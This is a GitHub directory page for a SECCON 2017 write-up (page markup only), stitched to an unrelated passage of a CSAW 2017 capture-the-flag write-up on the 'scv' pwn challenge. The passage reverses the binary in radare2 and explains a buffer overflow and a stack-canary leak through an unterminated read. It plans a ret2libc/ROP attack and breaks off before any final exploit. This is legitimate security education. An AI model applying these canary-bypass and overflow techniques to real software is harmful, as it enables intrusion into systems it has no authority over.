<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":92195266,"originating_url":"https://github.com/Laxa/write-ups/tree/master/Seccon%20Qual%202017/election","user_id":null}}" data-hydro-click-hmac="7a23f6f9a9e6d30629fe1babf446167d059e4777b7bbd0184b0c73c6959e2793"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/laxa/write-ups/refs" cache-key="v0:1495556786.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bGF4YS93cml0ZS11cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/laxa/write-ups/refs" cache-key="v0:1495556786.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bGF4YS93cml0ZS11cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>write-ups</span></span></span><span>/</span><span><span>Seccon Qual 2017</span></span><span>/</span>election<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>write-ups</span></span></span><span>/</span><span><span>Seccon Qual 2017</span></span><span>/</span>election<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/laxa/write-ups/tree-commit/0808aafcb833dc8abcf422ab1dffd9a6d0483f6b/Seccon%20Qual%202017/election" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/laxa/write-ups/file-list/master/Seccon%20Qual%202017/election"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>election</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# CSAW '17## scv (pwn 100)
https://ctf.csaw.io/challenges#scv
> SCV is too hungry to mine the minerals. Can you give him some food?
> `nc pwn.chal.csaw.io 3764`
### Recon
We are provided with the remote connection details, a binary `scv`, and a library `libc-2.23.so`. The library is probably the build of libc that is running on the remote server, which means if we can locate its address at runtime, we can potentially perform a ret2libc attack using ROP.
When we run the binary, we are greeted with an friendly interface:```$ ./scv-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>```We can choose any one of these functions and it will do what it says:```>>1-------------------------[*]SCV IS ALWAYS HUNGRY.....-------------------------[*]GIVE HIM SOME FOOD.......------------------------->>abcdefgh-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>2-------------------------[*]REVIEW THE FOOD...........-------------------------[*]PLEASE TREAT HIM WELL.....-------------------------abcdefgh"`-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>3[*]BYE ~ TIME TO MINE MIENRALS...```So this program accepts input from the user, allows the user to read that data back, and quit the program. What's interesting is that it printed some garbage after the input, which means they don't properly terminate the string when they read it from the user. We can potentially leak some interesting information from that.
Now let's open the program in radare, analyze how it works, and see if we can make sense of the garbage after our input:```$ r2 scv> aaa> s main> pdf```At the top, we see our stack variables:```| ; var int local_bch @ rbp-0xbc| ; var int local_b8h @ rbp-0xb8| ; var int local_b4h @ rbp-0xb4| ; var int local_b0h @ rbp-0xb0| ; var int local_8h @ rbp-0x8```We'll eventually figure out what all of these are for. Let's go to where the main loop starts:```| 0x00400aec c78544ffffff. mov dword [local_bch], 0| 0x00400af6 c78548ffffff. mov dword [local_b8h], 1| 0x00400b00 c7854cffffff. mov dword [local_b4h], 0| ; JMP XREF from 0x00400dc0 (main)| .-> 0x00400b0a 83bd48ffffff. cmp dword [local_b8h], 0| ,==< 0x00400b11 0f84ae020000 je 0x400dc5```Okay, so we can identify `local_b8h` as a sentinel value for this loop that will break execution when it is set to 0. Let's now go to the code where it accepts user input:```| ||||| 0x00400cba 488d8550ffff. lea rax, qword [local_b0h]| ||||| 0x00400cc1 baf8000000 mov edx, 0xf8 ; 248| ||||| 0x00400cc6 4889c6 mov rsi, rax| ||||| 0x00400cc9 bf00000000 mov edi, 0| ||||| 0x00400cce e82dfcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)| ||||| 0x00400cd3 89854cffffff mov dword [local_b4h], eax| ,======< 0x00400cd9 e9e2000000 jmp 0x400dc0```Okay, so the program uses a call to `read` to read our input. Our input buffer is located on the stack at `local_b0h`, which is 0xa8 (168) bytes long. Here, we run into the same vulnerability that was present on pilot: the maximum length is set to 0xf8 (248) bytes, which is much longer than our buffer! This is most likely the intentional bug that will allow us to overwrite the return address of `main`. If we also look up the [documentation](http://www.cplusplus.com/reference/istream/istream/read/) of `read`, we figure out why we got some garbage data:
> Extracts n characters from the stream and stores them in the array pointed to by s.
> This function simply copies a block of data, without checking its contents **nor appending a null character at the end.**
So, the program is writing our input to the buffer without a null terminator. This can be used to potentially leak almost anything above it on the stack!
Now let's check out the code that outputs the buffer to the stream:```| ||| || 0x00400d6a 488d8550ffff. lea rax, qword [local_b0h]| ||| || 0x00400d71 4889c7 mov rdi, rax| ||| || 0x00400d74 e857fbffff call sym.imp.puts ; int puts(const char *s)| |||,===< 0x00400d79 eb45 jmp 0x400dc0```According to the [documentation](http://www.cplusplus.com/reference/cstdio/puts/) of `puts`, the function will output data to the stream until a null character is reached. This confirms that we can leak data from the stack.
Okay, our last important path of execution is exiting the program:```| ||`----> 0x00400d7b c78548ffffff. mov dword [local_b8h], 0 ; cout << ("[*]BYE ~ TIME TO MINE MIENRALS...")| ||,====< 0x00400da1 eb1d jmp 0x400dc0```This does just as we would expect; it sets our sentinel value to 0, so on the next iteration of the loop, execution will jump to the end of the `main` function:```| `--> 0x00400dc5 b800000000 mov eax, 0| 0x00400dca 488b4df8 mov rcx, qword [local_8h]| 0x00400dce 6448330c2528. xor rcx, qword fs:[0x28]| ,=< 0x00400dd7 7405 je 0x400dde| | 0x00400dd9 e872fbffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)| `-> 0x00400dde c9 leave\ 0x00400ddf c3 ret```So the value of `local_8h` is a canary to prevent overwriting the return address of main. The rest of this is a standard `leave ; ret` that frees the current stack frame and returns to the caller.
### Exploit
Let's review what we know.
- The program accepts our input, writes it to a buffer, and allows us to access it later. However, that data is not terminated by a null character when it is written, so we can use it to leak data on the stack.- We have a buffer overflow exploit that is capable of overwriting the return address.- There is a canary just above our buffer that is used to prevent buffer overflows. However, remember that we have a data leak vulnerability as well. If we can leak that canary value, we will be able to append it to our payload and prevent it from being damaged.- Unfortunately, we don't receive the address to our buffer, and a quick check with the `i~nx` command in radare2 tells us that the NX bit is set for this program, so we wouldn't be able to execute the stack anyway, so shellcodes aren't viable. Instead, we may have to rely on ROP gadgets.- We are provided with the libc that is loaded on the remote machine, so that gives us a large search space for potential ROP gadgets if we can somehow leak a known location in libc.
Reopen `scv` in debugging mode, we're going to analyze what we can leak on the stack.```$ r2 -d scv> aaa> pdf @main```Let's set a breakpoint right where the initial loop starts and continue to it:```> db 0x00400b0a> dc```Now let's read what the stack looks like:```> px @rsp- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x7ffc761aea60 0000 0000 0000 0000 0100 0000 0000 0000 ................0x7ffc761aea70 8020 6000 0000 0000 f922 6000 0000 0000 . `......"`.....0x7ffc761aea80 3009 4000 0000 0000 3009 4000 0000 0000 [email protected][email protected] 8020 6000 0000 0000 2a87 8a92 dc7f 0000 . `.....*.......0x7ffc761aeaa0 0100 0000 0000 0000 d0ea 1a76 fc7f 0000 ...........v....0x7ffc761aeab0 f81d 6000 0000 0000 1b0e 4000 0000 0000 ..`[email protected] d0eb 1a76 fc7f 0000 ffff 0000 0100 0000 ...v............0x7ffc761aead0 e0ea 1a76 fc7f 0000 310e 4000 0000 0000 [email protected] 0200 0000 0000 0000 8d0e 4000 0000 0000 [email protected] ffff ffff 0000 0000 0000 0000 0000 0000 ................0x7ffc761aeb00 400e 4000 0000 0000 a009 4000 0000 0000 @.@[email protected] 00ec 1a76 fc7f 0000 00eb 9169 9b99 6398 ...v.......i..c.0x7ffc761aeb20 400e 4000 0000 0000 6a1f 8992 dc7f 0000 @[email protected].......0x7ffc761aeb30 0000 0000 0000 0000 08ec 1a76 fc7f 0000 ...........v....0x7ffc761aeb40 0000 0000 0100 0000 960a 4000 0000 0000 [email protected] 0000 0000 0000 0000 bca9 c859 5d8f 1235 ...........Y]..5```Looks familiar; this is what our stack looks like before our data goes in. At 0x7ffc761aeb18 is `rbp - 8`, which we know is our canary value. If we re-run the program several times, we notice that the canary almost always starts with a null byte (0x00), which seems troublesome. However, if we overwrite that null byte, we can safely assume that it will probably be null, so we can bypass it, read the rest of the canary value, and prepend it later. When we put this back onto the stack, we won't have to worry about the null bytes; `read` ignores them.
We'll need to send 0xa9 (169) bytes, but remember, newline counts as one. So let's continue the program and send 0xa8 bytes of padding:```> dcSelecting and continuing: 23263-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>1-------------------------[*]SCV IS ALWAYS HUNGRY.....-------------------------[*]GIVE HIM SOME FOOD.......------------------------->>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahit breakpoint at: 400b0a```
Now if we read our buffer back, we should get our canary:```> dcSelecting and continuing: 23263-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>2-------------------------[*]REVIEW THE FOOD...........-------------------------[*]PLEASE TREAT HIM WELL.....-------------------------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��i��c�@@hit breakpoint at: 400b0a```It's hard to recognize patterns in junk encoded into ASCII, but we can definitely see 2 printable characters that are also in our hexdump. Looks like that is successful.
